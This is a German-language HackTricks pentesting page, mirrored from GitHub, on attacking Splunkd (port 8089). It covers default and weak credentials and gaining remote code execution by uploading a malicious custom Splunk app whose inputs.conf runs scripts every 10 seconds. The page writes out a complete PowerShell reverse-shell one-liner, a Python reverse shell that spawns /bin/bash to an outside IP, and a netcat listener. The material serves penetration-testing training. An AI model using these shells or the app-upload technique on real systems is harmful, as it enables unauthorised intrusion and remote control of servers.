mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
140 lines
9.2 KiB
Markdown
140 lines
9.2 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Grundinformationen**
|
|
|
|
Splunk ist ein **Log-Analyse-Tool**, das eine entscheidende Rolle bei der **Erfassung, Analyse und Visualisierung von Daten** spielt. Während sein ursprünglicher Zweck nicht darin bestand, als **SIEM (Security Information and Event Management)**-Tool zu dienen, hat es an Popularität im Bereich der **Sicherheitsüberwachung** und **Geschäftsanalyse** gewonnen.
|
|
|
|
Splunk-Implementierungen werden häufig verwendet, um **sensible Daten** zu speichern und können eine **wertvolle Informationsquelle** für potenzielle Angreifer darstellen, wenn es ihnen gelingt, das System zu kompromittieren. **Standardport:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Der **Splunk-Webserver läuft standardmäßig auf Port 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumeration
|
|
|
|
### Kostenlose Version
|
|
|
|
Die Splunk Enterprise-Testversion wird nach **60 Tagen in eine kostenlose Version umgewandelt**, die **keine Authentifizierung erfordert**. Es ist nicht ungewöhnlich, dass Systemadministratoren eine Testversion von Splunk installieren, um sie auszuprobieren, die dann **daraufhin vergessen wird**. Dies wird automatisch in die kostenlose Version umgewandelt, die keine Form der Authentifizierung hat, was ein Sicherheitsrisiko in der Umgebung darstellt. Einige Organisationen entscheiden sich möglicherweise aufgrund von Budgetbeschränkungen für die kostenlose Version, ohne die Auswirkungen eines fehlenden Benutzer-/Rollmanagements vollständig zu verstehen.
|
|
|
|
### Standardanmeldeinformationen
|
|
|
|
In älteren Versionen von Splunk sind die Standardanmeldeinformationen **`admin:changeme`**, die bequem auf der Anmeldeseite angezeigt werden.\
|
|
In der **neueste Version von Splunk** werden jedoch **Anmeldeinformationen** **während des Installationsprozesses festgelegt**. Wenn die Standardanmeldeinformationen nicht funktionieren, lohnt es sich, nach gängigen schwachen Passwörtern wie `admin`, `Welcome`, `Welcome1`, `Password123` usw. zu suchen.
|
|
|
|
### Informationen Abrufen
|
|
|
|
Sobald wir uns bei Splunk angemeldet haben, können wir **Daten durchsuchen**, **Berichte ausführen**, **Dashboards erstellen**, **Anwendungen** aus der Splunkbase-Bibliothek installieren und benutzerdefinierte Anwendungen installieren.\
|
|
Sie können auch Code ausführen: Splunk hat mehrere Möglichkeiten, **Code auszuführen**, wie serverseitige Django-Anwendungen, REST-Endpunkte, skriptbasierte Eingaben und Alarmierungsskripte. Eine gängige Methode, um Remote-Code-Ausführung auf einem Splunk-Server zu erlangen, ist die Verwendung einer skriptbasierten Eingabe.
|
|
|
|
Darüber hinaus kann Splunk auf Windows- oder Linux-Hosts installiert werden, und skriptbasierte Eingaben können erstellt werden, um Bash-, PowerShell- oder Batch-Skripte auszuführen.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Benutzerdefinierte Anwendung Erstellen
|
|
|
|
Eine benutzerdefinierte Anwendung kann **Python-, Batch-, Bash- oder PowerShell-Skripte** ausführen.\
|
|
Beachten Sie, dass **Splunk mit installiertem Python geliefert wird**, sodass Sie selbst in **Windows**-Systemen Python-Code ausführen können.
|
|
|
|
Sie können [**dieses**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk-Paket verwenden, um uns zu unterstützen. Das **`bin`**-Verzeichnis in diesem Repo enthält Beispiele für [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Lassen Sie uns dies Schritt für Schritt durchgehen.
|
|
|
|
Um dies zu erreichen, müssen wir zunächst eine benutzerdefinierte Splunk-Anwendung mit der folgenden Verzeichnisstruktur erstellen:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Das **`bin`** Verzeichnis wird alle **Skripte enthalten, die wir ausführen möchten** (in diesem Fall eine **PowerShell** Reverse Shell), und das Standardverzeichnis wird unsere `inputs.conf` Datei haben. Unsere Reverse Shell wird ein **PowerShell One-Liner** sein:
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Die [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) Datei sagt Splunk **welches Skript ausgeführt werden soll** und andere Bedingungen. Hier setzen wir die App auf aktiviert und sagen Splunk, dass das Skript alle 10 Sekunden ausgeführt werden soll. Das Intervall ist immer in Sekunden, und der Input (Skript) wird nur ausgeführt, wenn diese Einstellung vorhanden ist.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Wir benötigen die `.bat`-Datei, die ausgeführt wird, wenn die Anwendung bereitgestellt wird, und die PowerShell-Einzeiler ausführt.
|
|
|
|
Der nächste Schritt besteht darin, `Install app from file` auszuwählen und die Anwendung hochzuladen.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Bevor wir die bösartige benutzerdefinierte Anwendung hochladen, lassen Sie uns einen Listener mit Netcat oder [socat](https://linux.die.net/man/1/socat) starten.
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Auf der Seite `Upload app` klicken Sie auf Durchsuchen, wählen Sie das Tarball aus, das wir zuvor erstellt haben, und klicken Sie auf `Upload`. Sobald wir die Anwendung hochladen, wird eine **Reverse-Shell empfangen**, da der Status der Anwendung automatisch auf `Enabled` umgeschaltet wird.
|
|
|
|
#### Linux
|
|
|
|
Wenn wir es mit einem **Linux-Host** zu tun hätten, müssten wir das **`rev.py` Python-Skript** bearbeiten, bevor wir das Tarball erstellen und die benutzerdefinierte bösartige App hochladen. Der Rest des Prozesses wäre derselbe, und wir würden eine Reverse-Shell-Verbindung zu unserem Netcat-Listener erhalten und loslegen.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Privilegieneskalation
|
|
|
|
Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Privilegien zu eskalieren und Persistenz zu erlangen:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referenzen
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|